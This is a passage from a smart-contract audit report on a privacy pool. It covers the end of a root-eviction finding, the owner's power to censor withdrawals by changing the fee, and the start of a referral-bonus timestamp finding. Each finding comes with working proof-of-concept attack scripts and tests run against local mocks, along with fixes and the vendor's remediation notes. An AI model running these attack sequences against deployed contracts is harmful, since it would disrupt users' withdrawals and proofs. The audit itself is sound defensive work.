  createWalletClient,
  http,
  zeroAddress,
  zeroHash,
  type Hex,
} from "viem";
import { privateKeyToAccount } from "viem/accounts";
import {
  DEV_PREDICATE_ATTESTER_KEY,
  DEV_PREDICATE_POLICY_ID,
  HARDHAT_KEYS,
  HARDHAT_RPC_URL,
  hardhatChain,
  startHardhatNode,
  stopHardhatNode,
} from "../packages/sdk/scripts/hardhatNode.js";
import {
  circuitArtifacts,
  deployLocalPredicateRegistry,
  deployPrivacyPool,
} from "../packages/sdk/src/deploy.js";
import { poolAbi } from "../packages/sdk/src/abi.js";
import { TREE_LEVELS, toBytes32 } from "../packages/sdk/src/crypto.js";
import { MerkleTree } from "../packages/sdk/src/merkleTree.js";
import { buildTransactionInputs } from "../packages/sdk/src/inputs.js";
import { generateTransactionProof } from "../packages/sdk/src/proof.js";
import { hashExtData, type ExtData } from "../packages/sdk/src/pool.js";

const publicClient = createPublicClient({ chain: hardhatChain, transport: http(HARDHAT_RPC_URL) });
const deployer = createWalletClient({
  account: privateKeyToAccount(HARDHAT_KEYS[0]),
  chain: hardhatChain,
  transport: http(HARDHAT_RPC_URL),
});
const attacker = createWalletClient({
  account: privateKeyToAccount(HARDHAT_KEYS[1]),
  chain: hardhatChain,
  transport: http(HARDHAT_RPC_URL),
});

type ProofArg = {
  a: readonly [bigint, bigint];
  b: readonly [readonly [bigint, bigint], readonly [bigint, bigint]];
  c: readonly [bigint, bigint];
  root: Hex;
  inputNullifiers: readonly Hex[];
  outputCommitments: readonly [Hex, Hex, Hex];
  publicAmount: bigint;
  extDataHash: Hex;
};

async function main() {
```

```
  let node: ChildProcess | undefined;
  try {
    node = await startHardhatNode();
    const attester = privateKeyToAccount(DEV_PREDICATE_ATTESTER_KEY);
    const registry = await deployLocalPredicateRegistry(publicClient, deployer, {
      attesters: [attester.address],
    });
    const dep = await deployPrivacyPool(publicClient, deployer, {
      levels: TREE_LEVELS,
      withdrawFeeBps: 35,
      predicate: { registry, policyId: DEV_PREDICATE_POLICY_ID },
      assets: [{ symbol: "USDC", name: "USD Coin", decimals: 6 }],
    });

    const originalRoot = await publicClient.readContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "getLastRoot",
    });
    const emptyTree = await MerkleTree.build(TREE_LEVELS, []);
    assert.equal(toBytes32(emptyTree.root), originalRoot);

    const ciphertext = (`0x${"00".repeat(168)}`) as Hex;
    const ext: ExtData = {
      recipient: zeroAddress,
      extAmount: 0n,
      withdrawFee: 0n,
      encryptedOutputs: [ciphertext, ciphertext, ciphertext],
      chainId: BigInt(hardhatChain.id),
      pool: dep.pool,
      asset: 0,
      format: 0,
      depositId: zeroHash,
      referrer: zeroAddress,
    };
    const extHash = hashExtData(ext);

    // Prepare every proof against the same root before submitting the attack transactions.
    const proofs: ProofArg[] = [];
    for (let i = 0; i < 31; i++) {
      const { circuitInputs } = await buildTransactionInputs({
        inputs: [],
        outputs: [],
        tree: emptyTree,
        asset: 1,
        publicAsset: 0,
        publicAmount: 0n,
        extDataHash: extHash,
      });
      const proof = await generateTransactionProof(
        circuitInputs,
        circuitArtifacts.wasm,
        circuitArtifacts.zkey,
      );
      const b = (x: string) => BigInt(x);
      proofs.push({
        a: [b(proof.a[0]), b(proof.a[1])],
```

```
      b: [
        [b(proof.b[0][0]), b(proof.b[0][1])],
        [b(proof.b[1][0]), b(proof.b[1][1])],
      ],
      c: [b(proof.c[0]), b(proof.c[1])],
      root: originalRoot,
      inputNullifiers: circuitInputs.inputNullifier.map(toBytes32),
      outputCommitments: circuitInputs.outputCommitment.map(toBytes32) as [Hex, Hex, Hex],
      publicAmount: 0n,
      extDataHash: toBytes32(extHash),
    });
    process.stdout.write(`\rprepared ${i + 1}/31 proofs`);
  }
  process.stdout.write("\n");

  let totalGas = 0n;
  for (let i = 0; i < 30; i++) {
    const hash = await attacker.writeContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "transact",
      args: [proofs[i], ext] as any,
    });
    const receipt = await publicClient.waitForTransactionReceipt({ hash });
    assert.equal(receipt.status, "success");
    totalGas += receipt.gasUsed;

    if (i === 28) {
      assert.equal(
        await publicClient.readContract({
          address: dep.pool,
          abi: poolAbi,
          functionName: "isKnownRoot",
          args: [originalRoot],
        }),
        true,
        "the original root remains valid through 29 later roots",
      );
    }
  }

  assert.equal(
    await publicClient.readContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "isKnownRoot",
      args: [originalRoot],
    }),
    false,
    "the 30th zero-value transaction evicts the root",
  );
  assert.equal(
    await publicClient.readContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "nextIndex",
    }),
```

```
    90,
  );
  assert.equal(
    await publicClient.readContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "nullifierCount",
    }),
    60n,
  );
  assert.equal(
    await publicClient.readContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "noteLiability",
      args: [1],
    }),
    0n,
  );
  assert.equal(
    await publicClient.readContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "protocolFees",
      args: [1],
    }),
    0n,
  );

  await assert.rejects(
    publicClient.simulateContract({
      address: dep.pool,
      abi: poolAbi,
      functionName: "transact",
      args: [proofs[30], ext] as any,
      account: attacker.account,
    }),
    /UnknownRoot/,
    "a pending proof against the evicted root no longer lands",
  );

  console.log(
    JSON.stringify(
      {
        originalRoot,
        zeroValueTransactions: 30,
        appendedLeaves: 90,
        consumedNullifiers: 60,
        noteLiability: "0",
        protocolFees: "0",
        totalGas: totalGas.toString(),
        averageGas: (totalGas / 30n).toString(),
        originalRootStillKnown: false,
      },
      null,
      2,
    ),
```

```
    );
  } finally {
    if (node) stopHardhatNode(node);
  }
}

main().then(
  () => process.exit(0),
  (error) => {
    console.error(error);
    process.exit(1);
  },
);
```

OBSERVED RESULT

```
original root:        0x2077aa43089f1d835cef9f5e98dfcfdbd2d232b313bc29a00bb0bae3901061e3
transactions:         30
leaves appended:      90
nullifiers consumed:  60
note liability:       0
protocol fees:        0
total gas:            37,701,528
average gas:          1,256,717
original root known:  false
pending proof:        reverted with UnknownRoot
```

The assertion immediately before transaction 30 confirms that the original root is still valid after 29 later roots. This shows that transaction 30 itself can still verify against the target root before overwriting it.

IMPACT

- **Pending-proof invalidation:** An attacker can evict the root used by an already-generated deposit, transfer, or withdrawal proof. The proof becomes unusable on-chain even though it remains cryptographically valid.
- **Repeatable disruption:** Repeated root churn can force users and relayers to rebuild their Merkle witnesses and regenerate Groth16 proofs. A transaction submitted after its root is evicted reverts, so its sender also pays gas for the failed attempt.
- **Finite-capacity consumption:** Every attack transaction irreversibly consumes three leaves. With a depth-20 tree, 349,525 successful three-leaf transactions consume 1,048,575 of the 1,048,576 positions; the next three-leaf transaction reverts with `TreeIsFull`.

At the measured average, full tree exhaustion would require approximately 439.25 billion gas, so the capacity-exhaustion endpoint is substantially less practical than repeated 30-root eviction.

PRIMARY FIX: RETAIN EVERY PRODUCED ROOT

Record all produced roots in an append-only mapping and use it for proof eligibility instead of expiring roots after 30 transactions:

```
mapping(bytes32 ⇒ bool) public knownRoots;

// During initialization:
roots[0] = currentZero;
knownRoots[currentZero] = true;

// After each insertion:
roots[newRootIndex] = nodes[0]; // May be retained for enumeration/backward compatibility.
knownRoots[nodes[0]] = true;

function isKnownRoot(bytes32 root) public view returns (bool) {
    return root ≠ bytes32(0) && knownRoots[root];
}
```

Accepting old roots does not permit a double spend because every transaction is still checked against the current global `nullifierHashes` mapping. Storage growth is bounded by the finite number of batches the tree can accept.

Because this is an upgradeable contract, the new mapping must be appended without changing existing storage slots, and the storage gap must be adjusted correctly. A migration should mark every root still present in the current ring as known.

DEFENSE IN DEPTH: REJECT ECONOMICALLY EMPTY PROOFS

The circuit can additionally require at least one real input whenever `publicAmount == 0`, preventing the no-note variant. For example, use `IsZero` components to forbid both `sumIns == 0` and `publicAmount == 0` simultaneously. This circuit change requires replacement proving keys and verifiers.

Rejecting all-zero proofs or charging a fee is useful defense in depth but is not a complete fix for root eviction: an attacker can churn a small funded note repeatedly. Retaining valid historical roots addresses the underlying liveness problem.

REMEDIATION ● FIXED

FLUTON

Confirmed, Low. Fixed: every root is now kept instead of expiring, a new tree starts when the current one nears its limit, and the circuit adds an IsZero() check.

L-02 The pool owner can block withdrawals by changing the withdrawal fee rate

SEVERITY LOW STATUS FIXED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 340 to 344 (`setWithdrawFeeBps`), 436 to 438 (`withdrawFeeOf`), 670 to 674 (`_checkExtData`), 698 (external data hash binds the fee).

Description. Every withdrawal binds its fee into the proof through the external data hash. `_checkExtData` requires the supplied `withdrawFee` to equal `withdrawFeeOf(amountOut)` at the rate in force when the transaction is mined, and reverts with `WithdrawFeeMismatch` otherwise, before the proof is checked. `setWithdrawFeeBps` is `onlyOwner`, takes effect immediately, accepts any value from 0 to 100 and has no delay, notice or limit on how often it is called. No submitter can patch the fee, because the hash would no longer match, so the user must re-prove after any change. Every exit goes through this check in both payout formats.

The README documents the revert as an accidental race between a user and the owner's own transaction (README lines 161 to 166). It also states, in the trust section, that the owner's only power over exits is the withdrawal fee, "capped at 1%", and that "it cannot stop a withdrawal or touch a note" (README lines 435 to 436). A deliberate, repeated fee change does stop withdrawals for as long as it continues.

Impact. The pool owner can block exits, either by front-running a specific withdrawal in the public mempool or by changing the rate every block. For a one-basis-point step the fee changes for any amount of about 10,000 note units or more (0.01 of a six-decimal token). Smaller amounts need a larger step. A user who proves for the rate the owner is about to set lands, so a predictable alternation between two rates can be outrun, but an owner who picks among the 101 possible rates cannot be. The block lasts only as long as the owner keeps spending one transaction per attempt. We measured about 19,000 gas for a warm flip in the test and expect somewhat more on chain. Notes are never at risk, because the nullifiers stay unspent. Recovery is possible by transferring pool ownership or by a ProxyAdmin upgrade. The pool owner is a separate role from the ProxyAdmin owner in the README, so this is a power the documented trust model says the owner lacks.

We rate this Low because it needs the pool owner key, loses no funds and has a simple fix.

Proof of concept. Executed through the full withdrawal route, with a verifier test double, a real TransparentUpgradeableProxy and the pool at 35 basis points.

1. Control: with the owner idle, a withdrawal of 1,000 tokens succeeds, the fee equals the rounded-up product of the amount and 35 over 10,000, the fee balance is credited and the nullifier is spent.
2. Targeted: after the user proved, the owner sets 36 basis points. The same call reverts with `WithdrawFeeMismatch` and the nullifier stays unspent.
3. Sustained: for 8 rounds the user re-proves at the live rate and the owner flips between 35 and 36 before inclusion. All 8 revert and no obligation is created. When the owner stops, the next re-proved withdrawal lands.
4. A user who proves for the rate the owner is about to set lands, so a fixed alternation can be outrun.

A second independent run through the project's own pool harness gave the same result over six rounds with rates 35, 36, 40, 33, 50, 35 and 70: all six withdrawals reverted until the owner stopped, and then the withdrawal landed.

Test source (exact).

File: `packages/contracts/test/poc/ZZ-SkepticFeeCensor.t.sol` **Run:** `npx hardhat test solidity test/poc/ZZ-SkepticFeeCensor.t.sol`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {euint64, ebool} from "@fhenixprotocol/cofhe-contracts/FHE.sol";
import {IHasher, IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";
import {ExpectingVerifier} from "../../contracts/fhenix/testing/ExpectingVerifier.sol";
import {TestConfidentialWrapper} from "../../contracts/fhenix/testing/WrapperProbe.sol";
import {IConfidentialWrapper} from "../../contracts/fhenix/IConfidentialWrapper.sol";
import {MockTaskManager} from "@cofhe/mock-contracts/contracts/MockTaskManager.sol";
import {MockACL} from "@cofhe/mock-contracts/contracts/MockACL.sol";
import {ACPTimestampRevoker} from "@cofhe/mock-contracts/contracts/ACPTimestampRevoker.sol";
import {ACPShareRegistry} from "@cofhe/mock-contracts/contracts/ACPShareRegistry.sol";
import {MockThresholdNetwork} from "@cofhe/mock-contracts/contracts/MockThresholdNetwork.sol";

/// Plaintext reads against the mock TaskManager (same shape as the deployed mock).
interface ITaskManagerMock {
    function mockStorage(uint256 ctHash) external view returns (uint256);
}

contract SkepticFeeCensorTest is Test {
    // ------------------------------------------------------------------ constants
    // Private key of the mock decrypt-result signer set by the CoFHE hardhat plugin on the
    // MockTaskManager (MOCKS_DECRYPT_RESULT_SIGNER_PRIVATE_KEY in CoFHE SDK 0.7.1): the
    // stand-in for the production decrypt gateway's enclave key.
    uint256 constant GATEWAY_PK = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    /// A well-funded non-gateway key: every signature it produces is well-formed but wrong.
    uint256 constant BOB_PK = 0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6;
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    /// Fixed mock addresses (CoFHE SDK 0.7.1): MockZkVerifier / MockThresholdNetwork.
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    /// The plugin's zk verifier signer (MOCKS_ZK_VERIFIER_SIGNER_ADDRESS in CoFHE SDK 0.7.1).
    address constant ZK_VERIFIER_SIGNER = 0x6E12D8C87503D4287c294f2Fdef96ACd9DFf6bd2;
    uint64 constant PAYOUT = 1_000e6; // note units; 6-decimals token ⇒ rate 1
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-poc";

    // ------------------------------------------------------------------ harness
    MockHasher hasher;
    LocalPredicateRegistry registry;
    ExpectingVerifier verifier;
    PrivacyPool pool;
    TestConfidentialWrapper wrapper;
    MockERC20 token;
    address owner = makeAddr("owner");
    address alice = makeAddr("alice"); // the withdraw caller
    address bob = makeAddr("bob"); // the withdrawal recipient who strands
```

```
    function setUp() public {
        _deployCoFheMocks();
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        verifier = new ExpectingVerifier();

        // The built TestConfidentialWrapper artifact is already linked against
        // ERC20ConfidentialLib (Hardhat resolves it at build time), so the wrapper deploys
        // straight from its artifact creation code.
        // token first: MockERC20 needs to exist before the wrapper encodes its address.
        token = new MockERC20("USD Coin", "USDC", 6); // 6 decimals ⇒ wrapper rate = 1
        bytes memory args = abi.encode(IERC20(address(token)), "Encrypted USD Coin", "eUSDC");
        wrapper = TestConfidentialWrapper(_create(vm.getCode("TestConfidentialWrapper"), args));

        bytes memory initData = abi.encodeCall(
            PrivacyPool.initialize,
            (
                IVerifier(address(verifier)),
                IVerifier16(address(verifier)),
                hasher,
                LEVELS,
                address(wrapper).codehash, // every wrapper linked to the same lib shares runtime code
                uint16(35), // withdrawFeeBps = 35 (README default)
                uint16(0),
                address(registry),
                POLICY,
                owner
            )
        );
        pool = PrivacyPool(address(new TransparentUpgradeableProxy(address(new PrivacyPool()), owner,
initData)));
        vm.prank(owner);
        pool.addAsset(IConfidentialWrapper(address(wrapper)));

        // Seed the pool's eTOKEN reserve exactly like a deposit leg would: shield underlying
        // into the wrapper FOR the pool (a real wrapper.shield call, not a storage poke).
        token.mint(address(this), 20 * PAYOUT);
        token.approve(address(wrapper), 20 * PAYOUT);
        wrapper.shield(address(pool), 20 * PAYOUT);
    }


    // Build a withdrawal whose proof binds fee = withdrawFeeOf(amount) at the rate in force NOW.
    struct W { PrivacyPool.TransactProof proof; PrivacyPool.ExtData ext; }

    function _build(uint64 amount) internal returns (W memory w) {
        w.ext = PrivacyPool.ExtData({
            recipient: bob,
            extAmount: -int256(uint256(amount)),
            withdrawFee: uint64(pool.withdrawFeeOf(amount)),
            encryptedOutputs: _ciphertexts(),
            chainId: block.chainid,
            pool: address(pool),
            asset: 1,
            format: uint8(0),
            depositId: bytes32(0),
            referrer: address(0)
```

```
        });
        w.proof = PrivacyPool.TransactProof({
            a: [uint256(1), 2],
            b: [[uint256(1), 2], [uint256(3), 4]],
            c: [uint256(5), 6],
            root: pool.getLastRoot(),
            inputNullifiers: _nullifiers(),
            outputCommitments: [bytes32(uint256(11)), bytes32(uint256(12)), bytes32(uint256(13))],
            publicAmount: pool.calculatePublicAmount(w.ext.extAmount),
            extDataHash: bytes32(uint256(keccak256(abi.encode(w.ext))) % pool.FIELD_SIZE())
        });
    }

    function _seedNoteLiability(uint64 amount) internal {
        vm.record();
        pool.noteLiability(1);
        (bytes32[] memory reads,) = vm.accesses(address(pool));
        bytes32 slot;
        bool found;
        for (uint256 i = 0; i < reads.length; i++) {
            if (
                reads[i] == 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    || reads[i] == 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
            ) continue;
            slot = reads[i];
            found = true;
        }
        require(found, "no slot");
        vm.store(address(pool), slot, bytes32(uint256(amount)));
        assertEq(pool.noteLiability(1), amount, "seeded");
    }


    function test_gasOfFlip() public {
        vm.startPrank(owner);
        uint256 g0 = gasleft();
        pool.setWithdrawFeeBps(36);
        uint256 g1 = gasleft();
        pool.setWithdrawFeeBps(35);
        uint256 g2 = gasleft();
        vm.stopPrank();
        emit log_named_uint("gas flip 35→36", g0 - g1);
        emit log_named_uint("gas flip 36→35", g1 - g2);
    }

    /// CONTROL: with no owner action, a withdrawal that binds the live fee goes through the whole
    /// route (fee guard, extDataHash, verifier double returning true, nullifier spend, obligation).
    function test_control_withdrawalSucceedsWhenOwnerIdle() public {
        _seedNoteLiability(10 * PAYOUT);
        W memory w = _build(PAYOUT);
        uint256 feeBound = w.ext.withdrawFee;
        assertEq(feeBound, (uint256(PAYOUT) * 35 + 9999) / 10000, "fee at 35 bps");
        uint256 feesBefore = pool.protocolFees(1);
        vm.prank(alice);
        pool.transact(w.proof, w.ext);
        assertEq(pool.protocolFees(1) - feesBefore, feeBound, "fee credited");
        assertTrue(pool.isSpent(w.proof.inputNullifiers[0]), "nullifier spent");
```

```
    }

    /// ATTACK 1 (targeted): the owner changes the rate by ONE bp after the user proved. The very
    /// same transaction that succeeds in the control reverts WithdrawFeeMismatch, nullifiers unspent.
    function test_ownerOneBpChangeRevertsPendingWithdrawal() public {
        _seedNoteLiability(10 * PAYOUT);
        W memory w = _build(PAYOUT);
        vm.prank(owner);
        pool.setWithdrawFeeBps(36);
        vm.prank(alice);
        vm.expectRevert(PrivacyPool.WithdrawFeeMismatch.selector);
        pool.transact(w.proof, w.ext);
        assertFalse(pool.isSpent(w.proof.inputNullifiers[0]), "notes untouched");
    }

    /// ATTACK 2 (blanket, sustained): for 8 rounds the user re-proves at the rate in force, the owner
    /// flips between 35 and 36 before inclusion, and every inclusion reverts. Then the owner stops
    /// and the user's next re-proved withdrawal lands: the block is only as long as the owner keeps
    /// paying for a tx per attempt (and the owner can never take or alter a note).
    function test_ownerToggleBlocksExitsUntilOwnerStops() public {
        _seedNoteLiability(10 * PAYOUT);
        uint256 nonceBefore = pool.obligationNonce();
        for (uint256 round = 0; round < 8; round++) {
            W memory w = _build(PAYOUT);                // user proves at the live rate
            uint16 next = pool.withdrawFeeBps() == 35 ? 36 : 35;
            vm.prank(owner);
            pool.setWithdrawFeeBps(next);               // owner flips before inclusion
            vm.roll(block.number + 1);
            vm.prank(alice);
            vm.expectRevert(PrivacyPool.WithdrawFeeMismatch.selector);
            pool.transact(w.proof, w.ext);
        }
        assertEq(pool.obligationNonce(), nonceBefore, "no withdrawal ever landed");
        // Owner stops. Recovery: user re-proves at the rate in force and the exit lands.
        W memory last = _build(PAYOUT);
        vm.prank(alice);
        pool.transact(last.proof, last.ext);
        assertEq(pool.obligationNonce(), nonceBefore + 1, "exit lands once owner stops");
    }

    /// ATTACK 3 (what the owner cannot do): the owner cannot catch a user who proves against the
    /// rate that will be in force at inclusion. Shown by predicting the next rate (the owner's
    /// toggle is not secret if it is a fixed pattern): the withdrawal binding 36 lands after the
    /// owner's flip to 36. A randomising owner defeats this, a predictable one does not.
    function test_predictableToggleCanBeOutrun() public {
        _seedNoteLiability(10 * PAYOUT);
        // user proves for the rate that the owner is about to set
        vm.prank(owner);
        pool.setWithdrawFeeBps(36);
        W memory w = _build(PAYOUT); // binds fee at 36
        vm.prank(alice);
        pool.transact(w.proof, w.ext);
        assertTrue(pool.isSpent(w.proof.inputNullifiers[0]));
    }

    // ------------------------------------------------------------------ internals
    /// The Solidity test runner does NOT run the plugin's deployMocks (that happens only on
```

```
    /// TS network.create()), so the PoC replicates it byte-for-byte: etch the fixed-address
    /// mocks, deploy the variable-address ones, wire them, and install the plugin's decrypt
    /// signer (Hardhat account #1, GATEWAY_PK) as the gateway.
    function _deployCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
        MockTaskManager(TASK_MANAGER).initialize(address(this));
        MockTaskManager(TASK_MANAGER).setSecurityZones(0, 1);
        MockACL acl = new MockACL();
        MockTaskManager(TASK_MANAGER).setACLContract(address(acl));
        ACPTimestampRevoker revoker = new ACPTimestampRevoker();
        acl.setDefaultRevokerContract(address(revoker));
        ACPShareRegistry shares = new ACPShareRegistry();
        acl.setShareRegistry(address(shares));
        MockTaskManager(TASK_MANAGER).setVerifierSigner(ZK_VERIFIER_SIGNER);
        MockTaskManager(TASK_MANAGER).setDecryptResultSigner(vm.addr(GATEWAY_PK));
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
        MockThresholdNetwork(THRESHOLD_NETWORK).initialize(TASK_MANAGER, address(acl));
    }

    /// Real withdrawal route: transact(FORMAT_CONFIDENTIAL, extAmount = -amount) ⇒ Withdraw
    /// obligation whose first attempt confidential-transfers from the pool to `bob`
    /// (PP:646-648, PP:828-871).
    function _confidentialWithdraw(uint64 amount) internal returns (bytes32 oid, bytes32 attempt1) {
        // noteLiability must cover the withdrawal (it accrues from deposits); find its storage
        // key dynamically instead of hard-coding the layout, then seed the historical state.
        // The recorded accesses also include the proxy's EIP-1967 slots, so filter them out.
        vm.record();
        pool.noteLiability(1);
        (bytes32[] memory reads,) = vm.accesses(address(pool));
        bytes32 slot;
        bool found;
        for (uint256 i = 0; i < reads.length; i++) {
            if (
                reads[i] == 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc // impl
                    || reads[i] == 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103 //
admin
            ) continue;
            slot = reads[i];
            found = true;
        }
        require(found, "no noteLiability slot recorded");
        vm.store(address(pool), slot, bytes32(uint256(amount)));
        assertEq(pool.noteLiability(1), amount, "noteLiability seeded");

        PrivacyPool.ExtData memory ext = PrivacyPool.ExtData({
            recipient: bob,
            extAmount: -int256(uint256(amount)),
            withdrawFee: 0, // withdrawFeeBps = 0
            encryptedOutputs: _ciphertexts(),
            chainId: block.chainid,
            pool: address(pool),
            asset: 1,
            format: uint8(0), // PrivacyPool.FORMAT_CONFIDENTIAL
            depositId: bytes32(0),
            referrer: address(0)
        });
```

```
        PrivacyPool.TransactProof memory proof = PrivacyPool.TransactProof({
            a: [uint256(1), 2],
            b: [[uint256(1), 2], [uint256(3), 4]],
            c: [uint256(5), 6],
            root: pool.getLastRoot(),
            inputNullifiers: _nullifiers(),
            outputCommitments: [bytes32(uint256(11)), bytes32(uint256(12)), bytes32(uint256(13))],
            publicAmount: pool.calculatePublicAmount(ext.extAmount),
            extDataHash: bytes32(uint256(keccak256(abi.encode(ext))) % pool.FIELD_SIZE())
        });

        vm.prank(alice);
        pool.transact(proof, ext);

        oid = _lastObligationId();
        (, PrivacyPool.ObligationStatus status,, address to,, bytes32 currentAttempt,) =
pool.obligations(oid);
        assertEq(uint8(status), uint8(PrivacyPool.ObligationStatus.InFlight), "attempt in flight");
        assertEq(to, bob, "obligation pays bob");
        attempt1 = currentAttempt;
    }

    function _lastObligationId() internal view returns (bytes32) {
        return keccak256(abi.encode(block.chainid, address(pool), pool.obligationNonce() - 1));
    }

    function _ciphertexts() internal pure returns (bytes[3] memory cts) {
        cts = [new bytes(168), new bytes(168), new bytes(168)];
    }

    uint256 _nonce;

    function _nullifiers() internal returns (bytes32[] memory n) {
        n = new bytes32[](2);
        n[0] = keccak256(abi.encode("nullifier", ++_nonce));
        n[1] = keccak256(abi.encode("nullifier", ++_nonce));
    }

    /// Plaintext of an euint64 handle in the mock TaskManager.
    function _dec64(bytes32 handle) internal view returns (uint256) {
        return ITaskManagerMock(TASK_MANAGER).mockStorage(uint256(handle));
    }

    /// A gateway verdict: MockTaskManager.computeDecryptResultHash(ctHash, result, chainid),
    /// signed by `pk` - verbatim, so the mock accepts the gateway's own key.
    function _signDecrypt(bytes32 handle, uint256 result, uint256 pk) internal view returns (bytes
memory sig) {
        uint256 ctHash = uint256(handle);
        uint8 encryptionType = uint8((ctHash >> 8) & 0x7f);
        uint256 cid = block.chainid;
        bytes32 messageHash;
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, result)
            mstore(add(ptr, 0x20), shl(224, encryptionType))
            mstore(add(ptr, 0x24), shl(192, and(cid, 0xffffffffffffffff)))
            mstore(add(ptr, 0x2c), ctHash)
```

```
            messageHash := keccak256(ptr, 0x4c)
            mstore(0x40, add(ptr, 0x4c))
        }
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, messageHash);
        sig = abi.encodePacked(r, s, v);
    }

    /// Create from artifact creation code with constructor args appended.
    function _create(bytes memory creation, bytes memory args) internal returns (address a) {
        bytes memory code = abi.encodePacked(creation, args);
        assembly {
            a := create(0, add(code, 0x20), mload(code))
        }
        require(a ≠ address(0), "create failed");
    }
}
```

Recommendation. Either of these removes the lever.

1. Let the user bind a maximum fee in the external data and charge the live fee when it is at or below that maximum. The circuit treats the external data as an opaque hash, so this changes the contract and the client but not the circuits.
2. Apply fee changes after a delay, with the pending rate readable on chain, and accept the old rate during the delay.

Correct the README sentence that says the owner cannot stop a withdrawal.

REMEDIATION FIXED

FLUTON

Confirmed, Low. Fixed: fee changes now take effect after a two-day delay, with a one-hour grace period.

L-03 The referral bonus timestamp has no upper bound, so revocation can be undone and a referrer's bonus setter can be bricked

SEVERITY ● LOW STATUS ● FIXED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 378 to 399 (`setReferralBonus`, the only temporal check is at 390), 401 to 406 (`revokeReferralBonus`).

Description. `setReferralBonus` accepts an attestation from the bonus signer only if its `issuedAt` is greater than the stored one for that referrer. The value is chosen by the signer and is never compared with the current block time. `revokeReferralBonus` implements revocation by storing the current block time as `issuedAt`. Two consequences follow from the missing upper bound.

1. **Revocation can be undone.** An attestation signed with an `issuedAt` in the future survives a revoke made before that time. After the revoke, the same signature is still valid and re-installs the revoked bonus. The documentation comment on `revokeReferralBonus` says it makes every attestation issued so far stale. That holds for attestations whose `issuedAt` is at or before the revoke time, but not for a signature that was already created with a later `issuedAt`.
2. **A referrer's bonus setter can be bricked.** An attestation signed with the largest 64-bit value becomes an unbeatable high-water mark for that referrer. Every later attestation for that referrer reverts with `StaleBonus`, including honest ones. The mark is stored per referrer and each attestation names one referrer, so each such signature bricks one referrer only. Only an owner revoke, which stores the current time, lowers the mark again.

Impact. Both effects require the bonus signer to sign a malformed or future-dated attestation, through compromise, malice or a client-side bug. Anyone can then submit the signature. The README documents that a leaked bonus signing key can grant at most 25 points of the fee, to anyone, until the owner changes the signer and revokes the grants. This finding adds two effects the README does not describe: a revoke made before the signer is rotated does not hold against a signature that carries a later `issuedAt`, and one maximal timestamp blocks all later attestations for a referrer. The bricking attestation also installs the bonus values it carries, up to 2,500 basis points, and the fixed part stays live until the owner revokes that referrer. Honest attestations dated at or before the revoke time stay stale after the revoke and have to be re-signed with a later date.

The owner has two countermeasures that work together. Rotating the signer with `setBonusSigner` stops any signature from the old key from being accepted, but it leaves every bonus and every stored `issuedAt` mark that is already installed untouched. A revoke clears one referrer's bonus and sets that referrer's mark to the current block time, so it must be run once for each affected referrer. While a bad signer key stays in place, the brick can be re-applied after every revoke.

Proof of concept.

1. An attestation is signed with `issuedAt` one day ahead and installed. Twelve hours later the owner revokes the bonus and the share collapses to the base value. The identical signature is submitted again and restores the full bonus and the future `issuedAt`. A second revoke is undone in the same way. A control attestation dated at the signing time does not survive the same revoke and reverts with `StaleBonus`.
2. An attestation signed with the maximum 64-bit `issuedAt` is installed. A fresh attestation signed by the genuine signer with the current time then reverts with `StaleBonus`, and so do attestations dated 0, 1, 2 to the power 63, one below the maximum and the maximum itself. No 64-bit value can exceed the stored maximum, so every

attestation for that referrer is stale. After an owner revoke an attestation dated after the revoke installs again, and a still-bad signer can re-brick it immediately.

These tests use the pool alone behind its proxy, with a keccak stand-in for the Poseidon hasher and the project's local test registry.

Test source (exact).

File: `packages/contracts/test/poc/F-007-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-007-PoC.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

/// F-007 PoC - future-dated bonus attestation survives revokeReferralBonus.
///
/// `setReferralBonus` (PrivacyPool.sol:378-399) has exactly ONE temporal guard:
///   :390  if (_issuedAt ⩽ referralBonus[_referrer].issuedAt) revert StaleBonus();
/// `_issuedAt` is SIGNER-CHOSEN and never bounded against block.timestamp - an attestation
/// may lawfully carry issuedAt in the future (nothing at :386-390 rejects that). The owner's
/// kill switch, `revokeReferralBonus` (:401-406), implements its natspec claim "Also makes
/// every attestation issued so far stale" by writing issuedAt = block.timestamp (:402-404).
